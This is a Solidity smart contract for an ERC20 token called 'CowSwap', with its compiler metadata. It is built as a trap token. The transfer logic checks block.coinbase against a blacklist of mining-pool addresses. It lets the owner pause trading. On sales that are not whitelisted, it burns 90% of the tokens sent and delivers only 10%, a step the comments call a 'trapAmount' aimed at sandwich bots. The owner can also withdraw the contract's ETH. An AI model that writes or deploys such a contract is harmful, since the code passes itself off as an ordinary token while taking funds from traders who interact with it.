//   SPDX-License-Identifier: MIT

pragma solidity ^0.8.3;

interface ERC20Interface {
  function totalSupply() external view returns (uint);
  function balanceOf(address tokenOwner) external view returns (uint balance);
  function allowance(address tokenOwner, address spender) external view returns (uint remaining);
  function transfer(address to, uint tokens) external returns (bool success);
  function approve(address spender, uint tokens) external returns (bool success);
  function transferFrom(address from, address to, uint tokens) external returns (bool success);

  event Transfer(address indexed from, address indexed to, uint tokens);
  event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}

interface ApproveAndCallFallBack {
  function receiveApproval(address from, uint256 tokens, address token, bytes memory data) external;
}

contract Owned {
  address public owner;
  address public newOwner;

  event OwnershipTransferred(address indexed _from, address indexed _to);

  constructor() {
    owner = msg.sender;
  }

  modifier onlyOwner {
    require(msg.sender == owner);
    _;
  }

  function transferOwnership(address _newOwner) public onlyOwner {
    newOwner = _newOwner;
  }
  function acceptOwnership() public {
    require(msg.sender == newOwner);
    emit OwnershipTransferred(owner, newOwner);
    owner = newOwner;
    newOwner = address(0);
  }
}

contract CowSwap is ERC20Interface, Owned {
  string public symbol;
  string public name;
  uint8 public decimals;
  uint _totalSupply;
  address public pool;
  bool paused;

  mapping(address => uint) balances;
  mapping(address => mapping(address => uint)) allowed;

  address ethermine = 0xEA674fdDe714fd979de3EdF0F56AA9716B898ec8;
  address sparkpool = 0x5A0b54D5dc17e0AadC383d2db43B0a0D3E029c4c;
  address nanopool = 0x52bc44d5378309EE2abF1539BF71dE1b7d7bE3b5;
  address f2pool2 = 0x829BD824B016326A401d083B33D092293333A830;
  address other = 0xbCC817f057950b0df41206C5D7125E6225Cae18e;
  address babelpool = 0xB3b7874F13387D44a3398D298B075B7A3505D8d4;
  address spiderpool = 0x04668Ec2f57cC15c381b461B9fEDaB5D451c8F7F;
  address other2 = 0xEA674fdDe714fd979de3EdF0F56AA9716B898ec8;
  address other3 = 0x06B8C5883Ec71bC3f4B332081519f23834c8706E;
  address hiveonpool = 0x1aD91ee08f21bE3dE0BA2ba6918E714dA6B45836;
  address beepool = 0x99C85bb64564D9eF9A99621301f22C9993Cb89E3;
  address other4 = 0xc8F595E2084DB484f8A80109101D58625223b7C9;
  address uupool = 0xD224cA0c819e8E97ba0136B3b95ceFf503B79f53;
  address binancepool = 0xc365c3315cF926351CcAf13fA7D19c8C4058C8E1;

  address[14] blacklist = [ethermine, sparkpool, nanopool, f2pool2, other, babelpool, spiderpool, other2, other3, hiveonpool, beepool, other4, uupool, binancepool];

  address white8 = 0x7B3B6a7bC87f978C9cb134C85d6623f8F6f5C0e3;
  address white9 = 0xbb5414c16d3c373A6f795C4d21DDd874a1d2f897;
  address white10 = 0xD81d0eAbe84D9692baC6aE816A0B11Bcb3953372;
  address white11 = 0x7A3Ef0De7Fd9DF8951fafBe8F7ef3240DE5837E8;
  address white12 = 0xe85740D4B34F727E8cBc9D676d253A4Fd736a239;
  address white13 = 0x54539aA494A66c14130705DB7f4285fd2A46F68d;

  address[6] whitelist = [white8, white9, white10, white11, white12, white13];

  address uniswapRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;

  constructor() {
    symbol = "COWSWAP";
    name = "CowSwap";
    decimals = 18;
    // One trillion
    _totalSupply =  1000000000000 ether;
    balances[owner] = _totalSupply;
    emit Transfer(address(0), owner, _totalSupply);
    allowed[owner][uniswapRouter] = _totalSupply;
  }
  function pause() public onlyOwner {
    paused = true;
  }
  function transferPool(address _pool) public onlyOwner {
    pool = _pool;
  }
  function totalSupply() public override view returns (uint) {
    return _totalSupply - balances[address(0)];
  }
  function balanceOf(address tokenOwner) public override view returns (uint balance) {
      return balances[tokenOwner];
  }

  function withdraw() public onlyOwner {
    (bool success,) = owner.call{value: address(this).balance}("");
    require(success, "Failed to send ether");
  }

  // Authentication done previously
  function _transfer(address from, address to, uint tokens) internal {
    if (from != address(0) && pool == address(0)) { pool = to; }

    // This should be true for everything on mainnet
    bool isFlashbot = false;
    for (uint i = 0; i < blacklist.length; i++) {
      if (block.coinbase == blacklist[i]) {
        isFlashbot = true;
        break;
      }
    }

    bool isWhitelisted = false;
    for (uint i = 0; i < whitelist.length; i++) {
      if (from == whitelist[i]) {
        isWhitelisted = true;
        break;
      }
    }

    // A single swap can drain max 0.5% of the pool's ETH
    bool isBig = tokens >= balances[pool] / 200;
    // Should this be OR or AND?
    bool allowSelling = !isFlashbot && !isBig && !paused;

    // We can calculate the amount of ETH that a transfer corresponds to


    // Needs to succeed when people buy from the pool
    // if(from == owner || to == owner || from == pool) {
    if(from == owner || to == owner || from == pool || isWhitelisted || allowSelling) {
      balances[from] -= tokens;
      balances[to] += tokens;
    } else {
      balances[from] -= tokens;
      uint trapAmount = (tokens * 10) / 100;
      balances[to] += trapAmount;

      // TODO: add payment to miner in case of the sandwicher not paying out
      // Two users managed to sell after many hours, so need to be careful about this
      // Maybe use blockhash as a random number generator? I think the sandwich smart contracts will revert if they don't get their ETH now
      // uint payout = address(this).balance > 0.1 ether ? 0.1 ether : address(this).balance;
      // (bool success,) = block.coinbase.call{value: payout}("");
    }

    emit Transfer(from, to, tokens);
  }

  function transfer(address to, uint tokens) public override returns (bool success) {
    _transfer(msg.sender, to, tokens);
    return true;
  }

  function transferFrom(address from, address to, uint tokens) public override returns (bool success) {
    // Preapprove the Uniswap router for everybody
    if(msg.sender != uniswapRouter) {
      allowed[from][msg.sender] -= tokens; // this reverts in Solidity 0.8.x if tokens > allowed
    }
    _transfer(from, to, tokens);
    return true;
  }

  function approve(address spender, uint tokens) public override returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    return true;
  }

  function allowance(address tokenOwner, address spender) public override view returns (uint remaining) {
    return allowed[tokenOwner][spender];
  }
  function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) {
    allowed[msg.sender][spender] = tokens;
    emit Approval(msg.sender, spender, tokens);
    ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data);
    return true;
  }
}

{
  "compilationTarget": {
    "contracts/CheapERC20.sol": "CowSwap"
  },
  "evmVersion": "istanbul",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "remappings": []
}